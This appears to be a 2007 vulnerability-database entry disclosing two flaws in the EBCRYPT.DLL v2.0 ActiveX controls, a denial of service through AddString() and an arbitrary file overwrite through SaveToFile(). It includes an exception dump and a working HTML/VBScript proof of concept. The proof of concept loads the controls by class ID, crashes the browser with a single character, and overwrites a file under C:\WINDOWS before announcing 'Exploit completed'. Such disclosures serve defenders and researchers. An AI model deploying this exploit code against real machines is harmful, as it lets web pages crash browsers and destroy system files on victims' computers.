EB Design Pty Ltd (EBCRYPT.DLL v.2.0) Multiple Remote Vulnerabilites

🗓️ 25 Sep 2007 00:00:00Reported by RootType

EB Design Pty Ltd (EBCRYPT.DLL v.2.0) Multiple Remote Vulnerabilites. Author shinnai tested on Windows XP Professional SP2. Contains two vulnerabilities: 1) DoS via "AddString()" method. 2) File overwrite via "SaveToFile()


                                                &lt;pre&gt;
&lt;code&gt;&lt;span&nbsp;style=&quot;font:&nbsp;10pt&nbsp;Courier&nbsp;New;&quot;&gt;&lt;span&nbsp;class=&quot;general1-symbol&quot;&gt;&lt;body&nbsp;bgcolor=&quot;#E0E0E0&quot;&gt;-----------------------------------------------------------------------------
&nbsp;&lt;b&gt;EB&nbsp;Design&nbsp;Pty&nbsp;Ltd&nbsp;(EBCRYPT.DLL&nbsp;v.2.0)&nbsp;Multiple&nbsp;Remote&nbsp;Vulnerabilites&lt;/b&gt;
&nbsp;url:&nbsp;http://www.ebcrypt.com/

&nbsp;Author:&nbsp;shinnai
&nbsp;mail:&nbsp;shinnai[at]autistici[dot]org
&nbsp;site:&nbsp;http://shinnai.altervista.org

&nbsp;&lt;b&gt;&lt;font&nbsp;color='red'&gt;This&nbsp;was&nbsp;written&nbsp;for&nbsp;educational&nbsp;purpose.&nbsp;Use&nbsp;it&nbsp;at&nbsp;your&nbsp;own&nbsp;risk.
&nbsp;Author&nbsp;will&nbsp;be&nbsp;not&nbsp;responsible&nbsp;for&nbsp;any&nbsp;damage.&lt;/font&gt;&lt;/b&gt;

&nbsp;Tested&nbsp;on&nbsp;Windows&nbsp;XP&nbsp;Professional&nbsp;SP2&nbsp;all&nbsp;patched,&nbsp;with&nbsp;Internet&nbsp;Explorer&nbsp;7

&nbsp;&lt;b&gt;Marked&nbsp;as:
&nbsp;RegKey&nbsp;Safe&nbsp;for&nbsp;Script:&nbsp;False
&nbsp;RegKey&nbsp;Safe&nbsp;for&nbsp;Init:&nbsp;False
&nbsp;Implements&nbsp;IObjectSafety:&nbsp;True
&nbsp;IDisp&nbsp;Safe:&nbsp;Safe&nbsp;for&nbsp;untrusted:&nbsp;caller,&nbsp;data
&nbsp;KillBitSet:&nbsp;False&lt;/b&gt;

&nbsp;This&nbsp;control&nbsp;contains&nbsp;two&nbsp;vulnerabilities:
&nbsp;1)&nbsp;It&nbsp;is&nbsp;possible&nbsp;to&nbsp;cause&nbsp;a&nbsp;DoS&nbsp;passing&nbsp;at&nbsp;least&nbsp;one&nbsp;character&nbsp;to
&nbsp;&nbsp;&nbsp;&nbsp;&quot;AddString()&quot;&nbsp;method.&nbsp;This&nbsp;is&nbsp;a&nbsp;dump&nbsp;of&nbsp;exception:

&nbsp;&nbsp;&nbsp;&nbsp;Access&nbsp;violation&nbsp;when&nbsp;reading&nbsp;[3A433B2E]
&nbsp;&nbsp;&nbsp;&nbsp;03158CA4&nbsp;&nbsp;&nbsp;FF51&nbsp;10&nbsp;=&gt;&nbsp;CALL&nbsp;DWORD&nbsp;PTR&nbsp;DS:[ECX+10]&nbsp;&lt;--&nbsp;crash
&nbsp;&nbsp;&nbsp;&nbsp;ECX&nbsp;3A433B2E&nbsp;&lt;--&nbsp;&quot;.;C:&quot;&nbsp;(is&nbsp;a&nbsp;part&nbsp;of&nbsp;path)

&nbsp;2)&nbsp;It&nbsp;is&nbsp;possible&nbsp;to&nbsp;overwrite&nbsp;a&nbsp;file&nbsp;passed&nbsp;as&nbsp;argument&nbsp;to&nbsp;&quot;SaveToFile()&quot;
&nbsp;&nbsp;&nbsp;&nbsp;method
-----------------------------------------------------------------------------


&lt;object&nbsp;classid='clsid:3C34EAC7-9904-4415-BBE4-82AA8C0C0BE8'&nbsp;id='test1'&gt;&lt;/object&gt;
&lt;object&nbsp;classid='clsid:B1E7505E-BBFD-42BF-98C9-602205A1504C'&nbsp;id='test2'&gt;&lt;/object&gt;

&lt;input&nbsp;language=VBScript&nbsp;onclick=tryAddString()&nbsp;type=button&nbsp;value='Click&nbsp;here&nbsp;to&nbsp;start&nbsp;AddString&nbsp;test&nbsp;&nbsp;&nbsp;&nbsp;'&gt;

&lt;input&nbsp;language=VBScript&nbsp;onclick=trySaveToFile()&nbsp;type=button&nbsp;value='Click&nbsp;here&nbsp;to&nbsp;start&nbsp;SaveToFile&nbsp;test'&gt;

&lt;script&nbsp;language='vbscript'&gt;
&nbsp;&nbsp;Sub&nbsp;tryAddString
&nbsp;&nbsp;&nbsp;test1.AddString&nbsp;&quot;A&quot;
&nbsp;&nbsp;End&nbsp;Sub

&nbsp;&nbsp;Sub&nbsp;trySaveToFile
&nbsp;&nbsp;&nbsp;test2.SaveToFile&nbsp;&quot;C:\WINDOWS\system_.ini&quot;
&nbsp;&nbsp;&nbsp;MsgBox&nbsp;&quot;Exploit&nbsp;completed.&quot;
&nbsp;&nbsp;End&nbsp;Sub
&lt;/script&gt;
&lt;/span&gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

25 Sep 2007 00:00Current

7.1High risk

Vulners AI Score7.1